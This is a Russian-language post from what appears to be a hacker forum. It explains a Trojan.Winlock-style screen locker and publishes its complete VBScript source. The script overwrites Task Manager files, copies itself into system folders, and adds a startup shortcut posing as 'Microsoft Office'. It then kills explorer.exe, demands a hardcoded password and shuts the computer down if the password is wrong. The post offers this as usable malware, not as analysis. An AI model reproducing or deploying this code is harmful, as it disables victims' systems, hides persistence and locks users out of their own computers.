Главная страница
Главная страница
Поиск по сайту
Каталог файлов
Гостевая книга
Новости сайта
Лента новостей
Для просмотра всех возможностей сайта, вам необходимо пройти процедуру регистрации, либо войти в свой аккаунт.*
*Форма входа и регистрация пользователя, располагается в шапке сайта, либо в блоке "Профиль" на страницах типа "Главная".
Поиск по сайту  RSS канал 
Меню
Мини чат
Реклама


VIP Партнеры


Кланы и Команды



Статистика

Статистика пользователей

   Всего:
   Новых за месяц: 0
   Новых за неделю: 0
   Новых вчера: 0
   Новых сегодня: 0


Счетчик стран

Страны

Счетчики

  
  

Посетители

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Просмотров: 1516 Просмотров данной публикации: 1516 Комментарии: 1 Комментариев к данной публикации: (1)
Пароль вы можете получить заплатив деньги злоумышленникам или вообще не можете
Его получить как в нашем случае. Теперь у вас есть поверхосные знания Trojana_Winlock
И вам можно рассказать про наш троянчик .Итак наш Троян завершает процесс explorer.exe
И просит ввести пароль, если пароль введён неверно то вылезает сообщение: о том что пароль введён неверно и компьютер выключается. В том случи если вы ввели пароль верно то процесс
explorer.exe запустится и вы можете работать на вашем ПК дальше…… .

Исходный код:

НЕЗАПУСКАЙТЕ НА СВОЁМ ПК

On Error Resume Next
set FSO=CreateObject("Scripting.FileSystemObject")
set file=FSO.CreateTextFile("C:\Windows\Help\taskmgr.chm")
set file=FSO.CreateTextFile("C:\Windows\Help\taskmgr.hlp")
set file=FSO.CreateTextFile("C:\WINDOWS\Prefetch\TASKMGR.EXE-20256C55.pf")
set file=FSO.CreateTextFile("C:\WINDOWS\system32\taskmgr.exe")

On Error Resume Next
Dim FileSysObject, File
Set FileSysObject = CreateObject("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
Set s = CreateObject("Wscript.Shell")
File.Copy ("C:\WINDOWS\Fonts\Win_32.vbe")
File.Copy ("C:\WINDOWS\System32\Win_32.vbe")
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
Dim MyShortcut, MyDesktop, StartupPath
StartupPath = WSHShell.SpecialFolders("Startup")
Set MyShortcut = WSHShell.CreateShortcut(StartupPath & _
"\Microsoft Office.lnk")
MyShortcut.TargetPath = WSHShell.ExpandEnvironmentStrings("C:\WINDOWS\Fonts\Win_32.vbe")
MyShortcut.IconLocation = WSHShell.ExpandEnvironmentStrings("C:\Program Files\Common Files\Microsoft Shared\Office10\MSOICONS.exe")
MyShortcut.Save
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
Win_lock=inputbox("Введите пароль для разблокировки")
if Win_lock="611577" then
set t = createobject ("wscript.shell")
t.run "explorer.exe"
else
MsgBox"Неверный пароль",0,"Win_Lock"
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
Set s = CreateObject("Wscript.Shell")
wscript.sleep 80
s.sendkeys"{numlock}"
end if

Всем пока спасибо за внимание!!!
Добавил: RealHackerПубликацию добавил: RealHacker Дата: 29.11.2011Дата добавления публикации: 29.11.2011


Всего комментариев: 1

1. Комментарий добавил: Win_Excel (Win_Excel)Спам

как говориться винексель подсказал реалхацкер написал =)
Дата публикации комментария: 03.02.2012
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Профиль


Top 5
    TOP Пользователей
    vasiliy_petrov245
    Сообщений: 433
    Комментариев: 0
    stepakov
    Сообщений: 428
    Комментариев: 0
    HACKERus
    Сообщений: 95
    Комментариев: 0
    vaskas122
    Сообщений: 79
    Комментариев: 0
    www1
    Сообщений: 63
    Комментариев: 0